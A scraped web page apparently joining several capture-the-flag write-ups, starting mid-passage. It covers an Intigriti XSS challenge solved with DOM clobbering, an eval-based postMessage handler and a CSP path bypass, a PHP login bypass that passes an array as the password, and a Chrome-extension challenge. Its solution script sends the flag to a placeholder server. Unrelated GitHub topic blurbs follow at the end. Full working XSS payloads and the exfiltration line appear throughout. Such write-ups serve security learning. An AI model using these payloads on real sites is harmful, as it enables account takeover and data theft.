checks the type of data? The type of x
is DOM element, hence failed the check. I need to find a way to make it a string.
Fortunately, there is another command I can utilize:
case "reassign": { // change variable's value
let o = m.message;
try {
let RegExp = /^[s-zA-Z-+0-9]+$/;
if (!RegExp.test(o.a) || !RegExp.test(o.b)) {
throw new Error('Invalid input given!');
}
eval(`${o.a}=${o.b}`);
log("[reassign]: ", `Value of "${o.a}" was changed to "${o.b}"`, type='warn');
} catch (err) {
log("[reassign]: ", `Error changing value (${err.message})`, type='err');
}
break;
}
I can do this:
win.frames[1].postMessage({
cmd: 'reassign',
message:{
a: 'Z',
b: 'x+1'
},
credentials
}, '*')
Because of JS "coercion", x+1
returns a string, so now Z
is a string contains our href
. Now, I can send whatever data I want.
But wait, it's encoded because it's a URL, <
will be %3C
.
var a = document.createElement('a')
a.setAttribute('href', 'ftp://a:a@a#<img src=x onload=alert(1)>')
console.log(a+1)
// ftp://a:a@a/#%3Cimg%20src=x%20onload=alert(1)%3E1
What should I do?
In log
function, there is one line data = parse(data)
, and here is the parse function:
let parse = (e) => (typeof e === 'string') ? s(e) : JSON.stringify(e, null, 4); // make object look like string
If e
is string, it returns s(e)
where s is let s = (s) => s.normalize('NFC');
When I reviewed the source code of reassign command, I noticed this regexp: RegExp = /^[s-zA-Z-+0-9]+$/;
, and I also noticed these four functions:
let a = (s) => s.anchor(s);
let s = (s) => s.normalize('NFC');
let u = (s) => unescape(s);
let t = (s) => s.toString(0x16);
s
, u
and t
is allowed to use. So, we can utilize reassign
command again, to let s=u
, so our data can be unescaped!
Full source code is like this:
const htmlUrl = 'https://challenge-0721.intigriti.io/htmledit.php?code='
const insertPayload=`<img src=x onerror=alert(1)>`
const payload = `
<a id="DEV"></a>
<iframe name="store" srcdoc='
<a id="users"></a>
<a id="users" name="admin" href="ftp://a:a@a#${escape(insertPayload)}"></a>
'></iframe>
<iframe name="iframeConsole" src="https://challenge-0721.intigriti.io/console.php"></iframe>
`
var win = window.open(htmlUrl + encodeURIComponent(payload))
// wait unitl window loaded
setTimeout(() => {
console.log('go')
const credentials = {
username: 'a',
password: 'a'
}
// s=u
win.frames[1].postMessage({
cmd: 'reassign',
message:{
a: 's',
b: 'u'
},
credentials
}, '*')
// Z=x+1 so Z = x.href + 1
win.frames[1].postMessage({
cmd: 'reassign',
message:{
a: 'Z',
b: 'x+1'
},
credentials
}, '*')
// log window[Z]
win.frames[1].postMessage({
cmd: 'logv',
message: 'Z',
credentials
}, '*')
}, 5000)
So the data is ftp://a:a@a#<img src=x onerror=alert(1)>
, and the data is assigned to text_tag.innerHTML
, XSS triggered!
Oh...not that easy, I forgot CSP.
Indeed, I can inject anything to HTML for now, but there is one more thing I need to do: bypass CSP.
The CSP is:
script-src 'nonce-4298c066cafb9760ea824427b44e583f' https://challenge-0721.intigriti.io/analytics/ 'unsafe-eval';frame-src https:;object-src 'none';base-uri 'none';
There is no unsafe-inline
so inline event won't work. https://challenge-0721.intigriti.io/analytics/
is suspicious, what is this?
This JS https://challenge-0721.intigriti.io/analytics/main.js
is included but almost nothing inside.
Actually, when I saw this CSP rule, I know what to do instantly. Because I know there is a way to bypass CSP path using %2f
(url encoded /
).
Take this URL: https://challenge-0721.intigriti.io/analytics/..%2fhtmledit.php
as an example, to browser, it's under analytics
path so pass CSP, but for server it's analytics/../htmledit.php
, so we actually load resource from different path!
But what should I include? htmledit.php
is HTML, not JS...really?
If you look carefully, htmledit.php
prints escaped input in HTML comment, like this:
<!-- <img src=x> -->
....
In some cases, HTML comment is also a valid JS comment, as per ECMAScript:
In other words, we can make this HTML a valid JS script!
Here is the url I used: https://challenge-0721.intigriti.io/htmledit.php?code=1;%0atop.alert(document.domain);/*
, it respond following HTML:
<!-- 1; this line is comment as well
top.alert(document.domain);/* -->
<!DOCTYPE html>
<html lang="en">
<head>
...not important because it's all comment
After /*
it's all comment, so the whole script is top.alert(document.domain);
basically. So now, I can include this url as JS script to run arbitrary code and bypass CSP.
Please note that the content type of htmledit.php
is still text/html
, but it's fine since it's same origin. If you want to include a page with content type text/html
as JS , you will get a CORB error.
It seems great, now we can inject an script to pop alert, right?
Unfortunately, not yet.
I thought I solve the challenge after I found this clear way to inject script, but somehow it doesn't work.
According to this stack overflow thread, the <script>
tag won't load if you inserted with innerHTML.
I don't know how to do so I googled innerhtml import script
, innerhtml script run
and so on, but found nothing useful.
After a while, It occurred to me that how about our old friend <iframe srcdoc>
? What if I put the script tag inside srcdoc?
So, I tried this way and it works like a charm.
Just one small thing to say, before I submit the answer I found that my exploit doesn't work on Firefox.
<a id="users"></a>
<a id="users" name="admin" href="a"></a>
For window.users
, Chrome returns HTMLCollection while Firefox returns first <a>
only, so users.admin
is undefined on Firefox.
It's not a big deal, just use another iframe:
<iframe name="store" srcdoc="
<iframe srcdoc='<a id=admin href=ftp://a:a@a#></a>' name=users>
">
</iframe>
Following is my exploit in the end:
Working POC: https://randomstuffhuli.s3.amazonaws.com/xss_poc_both.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>XSS POC</title>
</head>
<body>
<script>
const htmlUrl = 'https://challenge-0721.intigriti.io/htmledit.php?code='
const exploitSrc = '/analytics/..%2fhtmledit.php?code=1;%0atop.alert(document.domain);/*'
const insertPayload=`<iframe srcdoc="<script src=${exploitSrc}><\/script>">`
const payload = `
<a id="DEV"></a>
<iframe name="store" srcdoc="
<iframe srcdoc='<a id=admin href=ftp://a:a@a#${escape(insertPayload)}></a>' name=users>
">
</iframe>
<iframe name="iframeConsole" src="https://challenge-0721.intigriti.io/console.php"></iframe>
`
var win = window.open(htmlUrl + encodeURIComponent(payload))
// wait for 3s to let window loaded
setTimeout(() => {
const credentials = {
username: 'a',
password: 'a'
}
win.frames[1].postMessage({
cmd: 'reassign',
message:{
a: 's',
b: 'u'
},
credentials
}, '*')
win.frames[1].postMessage({
cmd: 'reassign',
message:{
a: 'Z',
b: 'x+1'
},
credentials
}, '*')
win.frames[1].postMessage({
cmd: 'logv',
message: 'Z',
credentials
}, '*')
}, 3000)
</script>
</body>
</html>
It's a great and awesome challenge, to me it's like a game with 5 levels, I need to solve every levels and put it together to really win this game.
I spent about 2 days on this challenge and every time I stuck, I checked the source code again, reviewed one line after another until I found something new. Surprisingly, there is always something new!
Thanks @RootEval for creating such amazing challenge, and also thanks Intigriti for hosting this event.
<?php
session_start();
$users = array(
"admin" => "caa6d4940850705040738b276c7bb3fea1030460",
"guest" => "35675e68f4b5af7b995d9205ad0fc43842f16450"
);
function lookup($username) {
global $users;
return array_key_exists($username, $users) ? $users[$username] : "";
}
if (!empty($_POST['username']) && !empty($_POST['password'])) {
$sha1pass = lookup($_POST['username']);
if ($sha1pass == sha1($_POST['password'])) {
$_SESSION['login'] = true;
$_SESSION['privilege'] = $_POST['username'] == "guest" ? "guest" : "admin";
header("Location: /");
exit();
} else {
$fail = true;
}
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Entrance</title>
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/uikit.min.css" />
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/uikit.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/uikit-icons.min.js"></script>
</head>
<body class="uk-container">
<form method="POST" action="/login.php">
<?php if (isset($fail)) { ?>
<div class="uk-alert-danger" uk-alert>
<a class="uk-alert-close" uk-close></a>
<p>Invalid username or password</p>
</div>
<?php } ?>
<div class="uk-section uk-section-muted uk-flex uk-flex-middle uk-animation-fade" uk-height-viewport>
<div class="uk-width-1-1">
<div class="uk-container">
<div class="uk-grid-margin uk-grid uk-grid-stack" uk-grid>
<div class="uk-width-1-1@m">
<div class="uk-margin uk-width-large uk-margin-auto uk-card uk-card-default uk-card-body uk-box-shadow-large">
<h3 class="uk-card-title uk-text-center">Welcome!</h3>
<form>
<div class="uk-margin">
<div class="uk-inline uk-width-1-1">
<span class="uk-form-icon" uk-icon="icon: user"></span>
<input class="uk-input uk-form-large" type="text" name="username">
</div>
</div>
<div class="uk-margin">
<div class="uk-inline uk-width-1-1">
<span class="uk-form-icon" uk-icon="icon: lock"></span>
<input class="uk-input uk-form-large" type="password" name="password">
</div>
</div>
<div class="uk-margin">
<button class="uk-button uk-button-primary uk-button-large uk-width-1-1">Login</button>
</div>
</form>
</div>
</div>
</div>
</div>
</div>
</div>
</form>
</body>
</html>
The core part is here:
$users = array(
"admin" => "caa6d4940850705040738b276c7bb3fea1030460",
"guest" => "35675e68f4b5af7b995d9205ad0fc43842f16450"
);
function lookup($username) {
global $users;
return array_key_exists($username, $users) ? $users[$username] : "";
}
if (!empty($_POST['username']) && !empty($_POST['password'])) {
$sha1pass = lookup($_POST['username']);
if ($sha1pass == sha1($_POST['password'])) {
// pass
}
}
We need to let $sha1pass == sha1($_POST['password'])
to be true.
If we pass a random user name like a
, $sha1pass
will be ""
.
For sha1
, if the input is an array, it returns NULL:
<?php
var_dump(sha1(["a"])); // NULL
?>
Moreover, "" == NULL
is true:
<?php
if ("" == NULL) {
echo 1;
}
?>
So, all we need to do is pass a random username and an array for password:
username=1
password[]=1
This is the end of phishing. The Order of the Overflow is introducing the ultimate authentication factor, the most important one, the final one. To help the web transition to this new era of security, we are introducing a 3FA tool for testing your webpages completely isolated on our admin's browser.
Files:
3factooorx.crx
I used CRX Viewer to open the crx file.
There are few files but only background_script.js and content_script.js are important.
background_script.js:
// Put all the javascript code here, that you want to execute in background.
chrome.runtime.onMessage.addListener(
function(request, sender, sendResponse) {
console.log(sender.tab ?
"from a content script:" + sender.tab.url :
"from the extension");
if (request.getflag == "true")
sendResponse({flag: "OOO{}"});
}
);
The content of content_script is obfuscated by JavaScript Obfuscator Tool.
It's apparently a Chrome extension so I loaded and I tried to beautify the code because it's easier for me to debug.
After loaded the Chrome extension and opened a random page, it crash after few seconds. I spent about 1 hour until I realized it's because of the beautify. There is a self-protected mechanism to prevent such behavior.
The web page loaded successfully after I change it back to original content, and there is an error on the console:
Uncaught TypeError: Cannot read property 'querySelectorAll' of null
The error throw by this part of code:
chilen = _0x1e6746[_0x2ca2fd(-0x22c, -0x1ea, -0x246, -0x1e5) + _0x3126db(-0x283, -0x277, -0x2c2, -0x29c)]('*')[_0x3126db(-0x21d, -0x226, -0x229, -0x1e1)],
We can set a breakpoint and reload, when the debugger has been triggered, we can use console to help us see the real value:
_0x2ca2fd(-0x22c, -0x1ea, -0x246, -0x1e5)
"querySelec"_0x3126db(-0x283, -0x277, -0x2c2, -0x29c)
"torAll"_0x3126db(-0x21d, -0x226, -0x229, -0x1e1)
"length"
So the deobfuscated code is:
chilen = _0x1e6746.querySelectorAll('*').length
_0x1e6746
is null so the browser throws an error.
Let's find out what is _0x1e6746
:
var _0x1e6746 = document[_0x2ca2fd(-0x227, -0x23b, -0x1e2, -0x1e8) + _0x3126db(-0x21b, -0x25d, -0x23f, -0x1de)](_0x3126db(-0x226, -0x233, -0x20a, -0x1d9));
We can use the same technique to know the original code:
var _0x1e6746 = document.getElementById('3fa')
So we can add an element with id 3fa
.
After refresh the page, another error shown:
Uncaught TypeError: Cannot read property 'tagName' of null
There is something wrong in this line:
if (_0x2c0eff[_0x2ca2fd(-0x262, -0x24f, -0x2a5, -0x2a4)](document[_0x2ca2fd(-0x22c, -0x1ee, -0x234, -0x1fa) + _0x2ca2fd(-0x292, -0x27f, -0x2b2, -0x2a9)](_0x2c0eff[_0x3126db(-0x221, -0x240, -0x274, -0x257)])[_0x2ca2fd(-0x25d, -0x24e, -0x26c, -0x26d)], _0x2c0eff[_0x3126db(-0x232, -0x277, -0x218, -0x233)])) {
Set a breakpoint and use console to see the value, we can transform the code above into this:
if (_0x2c0eff['hJFjw'](document['querySelector']('#thirdfactooor')['tagName'], 'INPUT')) {
_0x2c0eff['hJFjw']
is just a function to compare it's parameters:ƒ (_0x410572,_0x33660a){return _0x410572==_0x33660a;}
So it's actually:
if (document['querySelector']('#thirdfactooor')['tagName'] === 'INPUT')){
We can add a new input element with id: thirdfactooor
Now, there is no more error.
Then, I searched the keyword: flag
to see if I can get some useful information. I found this part:
FLAG = _0x336e82[_0x39523f(-0x10d, -0xe8, -0x11f, -0x128)],
console['log'](_0x10b2d5[_0x39523f(-0x134, -0xf8, -0x123, -0x14b)](_0x10b2d5[_0x5773c7(-0x1c8, -0x164, -0x1b2, -0x16c)], _0x336e82[_0x39523f(-0x151, -0x152, -0x11f, -0x146)]));
nodesadded == 0x1 * -0x27a + 0x3 * -0x3f8 + -0x4cd * -0x3 && _0x10b2d5[_0x39523f(-0x157, -0x1ae, -0x17e, -0x1c2)](nodesdeleted, -0x1b66 + -0x14e * 0x8 + 0x25d9) && attrcharsadded == -0x2001 + -0x2 * 0x433 + 0x49 * 0x8e && _0x10b2d5['DvvtZ'](domvalue, -0xed7 * -0x1 + -0x18f0 + 0x12a5) && (document['getElement' + _0x39523f(-0xf2, -0x127, -0x132, -0x153)](_0x5773c7(-0x141, -0x1ab, -0x16f, -0x192) + _0x5773c7(-0x131, -0x15d, -0x10d, -0xc2))['value'] = _0x336e82[_0x5773c7(-0xe7, -0xda, -0x11f, -0x111)]);
We can also set a breakpoint and deobfuscate ourselves by executing those small function and get value via console.
We can ignore console.log
because it has been replaced with an empty function.
FLAG = _0x336e82['flag'],
nodesadded == 5 && equal(nodesdeleted, 3) && attrcharsadded == 23 && equal(domvalue, 2188) && (document['getElementById']('thirdfactooor')['value'] = _0x336e82['flag']);
The goal is clear, we need to let nodesadded = 5, nodesdeleted = 3, attrcharsadded = 23 and domvalue = 2188. After all requirements are fulfilled, we can get flag via thirdfactooor.value
.
It's not hard to find out that the values are related to the MutationObserver. So we need to manipulate the DOM including add, update attributes and delete the elements for certain times.
It's my solution in the end:
<html lang="en">
<head>
<meta charset="utf-8">
<title>test</title>
<style>
#thirdfactooor{
width: 400px;
}
</style>
</head>
<body>
<form id="3fa">
wqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwdwqdqwdqwdqwdqwdqwd
<div class="dd">wqdqwdqwdqwdqwdqwd</div>
<div class="dd"></div>
<div class="dd"></div>
<input id="thirdfactooor"></input>
</form>
<script>
for(let i=0; i<5; i++) {
document.getElementById('3fa').name = 'abc123'
}
document.getElementById('3fa').dir = 'abc123'
for(let i=0; i<5; i++) {
document.getElementById('3fa').appendChild(new Image());
}
[...document.querySelectorAll('.dd')].forEach(item => {
item.remove()
})
setTimeout(() => {
(new Image).src = 'https://my_server?f=' + thirdfactooor.value
}, 2000)
</script>
</body>
</html>
Submit the HTML file and I got the image with the flag(but no request to the server so I just type the flag myself):
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.